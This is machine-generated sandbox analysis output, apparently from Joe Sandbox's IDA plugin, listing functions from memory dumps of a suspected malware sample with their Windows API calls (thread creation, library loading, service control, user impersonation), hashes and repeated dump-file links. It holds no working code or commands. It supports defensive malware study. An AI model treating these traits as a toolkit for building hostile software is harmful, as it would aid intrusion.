Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID: q;Sq
API String ID: 2422867632-1819106729
Opcode ID: a0cc8ef831e80156155bf2475ab2c077262d54a32f122212dd24f3d628600372
Instruction ID: b2451b8a8b73521d43031369b12109a0cdfe34c7ad80f3c837ef9b745d2ccafc
Opcode Fuzzy Hash: a0cc8ef831e80156155bf2475ab2c077262d54a32f122212dd24f3d628600372
Instruction Fuzzy Hash: FFC0123204928A1ADA459F549C6576D6B299FC5A20F254458F1404789085605C539B28

Function 00693A03 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 8
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateThread.KERNELBASE ref: 00693A10

Strings

~.w, xrefs: 00693A0B

Memory Dump Source

Source File: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: CreateThread
String ID: ~.w
API String ID: 2422867632-1611914895
Opcode ID: d3c1ede260a69b9d47296f1d214a175738605a66f167e24f063f30b4977c6e21
Instruction ID: 1cc708fa575eb402860deea2dae62a923e2d57a2c56bc1e5a35e4e6fefa2df9c
Opcode Fuzzy Hash: d3c1ede260a69b9d47296f1d214a175738605a66f167e24f063f30b4977c6e21
Instruction Fuzzy Hash: 4CC08C220CE2D82ECB221FF08C2D38D3F280F2A500F2C8480B4C04B4C3C8A04A11C719

Function 0064D17E Relevance: 1.6, APIs: 1, Instructions: 143
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0064D17E

Memory Dump Source

Source File: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 8166c1c219f55823c04ef8e9472423f1d978f9b8580d70736ab3262da9a86350
Instruction ID: 59c546ec07daff9cf8ee7fa3c9ca71b7f5cab45b3166d6add7ca1e31e8fc6271
Opcode Fuzzy Hash: 8166c1c219f55823c04ef8e9472423f1d978f9b8580d70736ab3262da9a86350
Instruction Fuzzy Hash: 7F4183F7A0C200AFE7056A09DD51ABAF7EAEFD4760F26482EF6C583710D63188058666

Function 0064D03A Relevance: 1.6, APIs: 1, Instructions: 125
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 0064D03A

Memory Dump Source

Source File: 00000005.00000002.3006537056.000000000064B000.00000080.00000001.01000000.00000006.sdmp, Offset: 004D0000, based on PE: true

Associated: 00000005.00000002.3005978733.00000000004D0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006010639.00000000004D2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006043857.00000000004D6000.00000008.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006076549.00000000004DA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006109387.00000000004E4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006171020.00000000004E5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006200450.00000000004E6000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006379633.0000000000638000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006446601.000000000063A000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006497980.000000000064A000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.000000000064E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006582068.0000000000657000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006671061.000000000065C000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006708807.000000000065F000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006769955.0000000000672000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006812600.0000000000673000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006867387.0000000000689000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3006940976.000000000069B000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007000882.00000000006A4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007044254.00000000006A5000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007101031.00000000006A7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007208208.00000000006AA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007326366.00000000006BB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007377627.00000000006BF000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007413266.00000000006C7000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007447686.00000000006CC000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007495577.00000000006D4000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007538195.00000000006D7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007578247.00000000006DF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007611293.00000000006E2000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007647137.00000000006E3000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007731375.00000000006E7000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007772858.00000000006EF000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007816004.00000000006F4000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007851169.00000000006F5000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007894148.00000000006F8000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007941453.00000000006F9000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3007978282.00000000006FA000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008020277.00000000006FB000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008054114.0000000000703000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008089105.0000000000712000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008122837.0000000000714000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008160009.000000000071D000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008205029.000000000071E000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008265186.0000000000735000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008306566.0000000000736000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.000000000075E000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008370422.0000000000765000.00000080.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008463754.0000000000774000.00000040.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.3008507329.0000000000776000.00000080.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4d0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 30772cba4d80ac2868edd842452d62445b3ab90c986e4fd494917cff350b9b3a
Instruction ID: 48eba960ef815ea25bbec7bb4198412f08f98e82c1a157b48c91d16d714cc63e
Opcode Fuzzy Hash: 30772cba4d80ac2868edd842452d62445b3ab90c986e4fd494917cff350b9b3a
Instruction Fuzzy Hash: A13141F660C610AFE301AE19ED81BFEBBE5EBC4720F12483DE6C482604D735584586A7

Function 052B0D48 Relevance: 1.6, APIs: 1, Instructions: 59
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 052B0DCD

Memory Dump Source

Source File: 00000005.00000002.3012290555.00000000052B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52b0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: beababd8e7030847cbe7b189d921c3e8d9d91ad3e38681537f91322a88875bc3
Instruction ID: 06001261671a4dcdcd7340fe51f9f6dd638dc438f530f0b81bf45630efce557b
Opcode Fuzzy Hash: beababd8e7030847cbe7b189d921c3e8d9d91ad3e38681537f91322a88875bc3
Instruction Fuzzy Hash: 472149B6C1120A9FDB50CF99D884BDEFBF4FF88710F14815AD909AB244D774A540CBA4

Function 052B0D42 Relevance: 1.6, APIs: 1, Instructions: 58
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenSCManagerW.SECHOST(00000000,00000000,?), ref: 052B0DCD

Memory Dump Source

Source File: 00000005.00000002.3012290555.00000000052B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52b0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: ManagerOpen
String ID:
API String ID: 1889721586-0
Opcode ID: 5e9d6b5f1a9298391a5720cd2ea6c46b482bb5b0ac70bbd1d4cd51fab81985ad
Instruction ID: cf751423171d93155b6e459025ac7ae0def67e640ea1ede14a2a2cbefd506a65
Opcode Fuzzy Hash: 5e9d6b5f1a9298391a5720cd2ea6c46b482bb5b0ac70bbd1d4cd51fab81985ad
Instruction Fuzzy Hash: 032138B6C1120A8FDB50CF99D584BDEFBF0FF88710F14865AD909AB244D774A540CBA0

Function 052B1509 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 052B1580

Memory Dump Source

Source File: 00000005.00000002.3012290555.00000000052B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52b0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 2d64390fefd538a7f6216cc9790be59888a9fd63565beb42e118a9061e7f578b
Instruction ID: acf0bc450c0a88ce4709cf681848dc0b13d54f1faeac5cf6930394f15b7c48e9
Opcode Fuzzy Hash: 2d64390fefd538a7f6216cc9790be59888a9fd63565beb42e118a9061e7f578b
Instruction Fuzzy Hash: D62114B6900249CFDB10CF9AC584BDEFBF4BF48324F10842AE519A3250D378A654CFA1

Function 052B1510 Relevance: 1.6, APIs: 1, Instructions: 54
serviceCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ControlService.ADVAPI32(?,?,?), ref: 052B1580

Memory Dump Source

Source File: 00000005.00000002.3012290555.00000000052B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52b0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: ControlService
String ID:
API String ID: 253159669-0
Opcode ID: 852a1e0a10276d36c624dbb1b12840fdba62b30a64c76399a4d54bd01658b9ba
Instruction ID: 58736eea407985032d9558073770630c79d9f949bb0a9d15dfda238811bfdb9c
Opcode Fuzzy Hash: 852a1e0a10276d36c624dbb1b12840fdba62b30a64c76399a4d54bd01658b9ba
Instruction Fuzzy Hash: D511D3B59002499FDB10CF9AC584BDEFBF4AF48324F108429E959A3250D7B8A654CFA5

Function 052B1308 Relevance: 1.5, APIs: 1, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 052B1367

Memory Dump Source

Source File: 00000005.00000002.3012290555.00000000052B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52b0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: 5d4ecfc3ccee849c762c01d302e87961014e923c3f5d4e6a6a4b000e76f737da
Instruction ID: 4f029eea4335c13fa4cbb9c1c733a32f46b77c3c75ebc74f331f082547dcce68
Opcode Fuzzy Hash: 5d4ecfc3ccee849c762c01d302e87961014e923c3f5d4e6a6a4b000e76f737da
Instruction Fuzzy Hash: 651122B180024ACFDB10CF9AC544BDEBBF8AF48324F20846AD518A3240D7B8A944CBA5

Function 052B1301 Relevance: 1.5, APIs: 1, Instructions: 46
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ImpersonateLoggedOnUser.KERNELBASE ref: 052B1367

Memory Dump Source

Source File: 00000005.00000002.3012290555.00000000052B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 052B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_52b0000_08C2R61KXR6ZBOMCKYFPSUSQF0USNXJ.jbxd

Similarity

API ID: ImpersonateLoggedUser
String ID:
API String ID: 2216092060-0
Opcode ID: f15e636854bcc757bb679180a9ea332dda879ffa9546cda973da9bc4bbb37849
Instruction ID: bb2981d9bae2478446a248958603ab28d716d8c206ee8a1e2c046c4a9fde134f
Opcode Fuzzy Hash: f15e636854bcc757bb679180a9ea332dda879ffa9546cda973da9bc4bbb37849
Instruction Fuzzy Hash: CA1136B5800309CFDB10CF99C585BDEBBF4EF48324F24846AD518A3640D7B8A554CFA5

Function 00698672 Relevance: 1.5, APIs: 1, Instructions: 34
threadCOMMON

Download Yara Rule

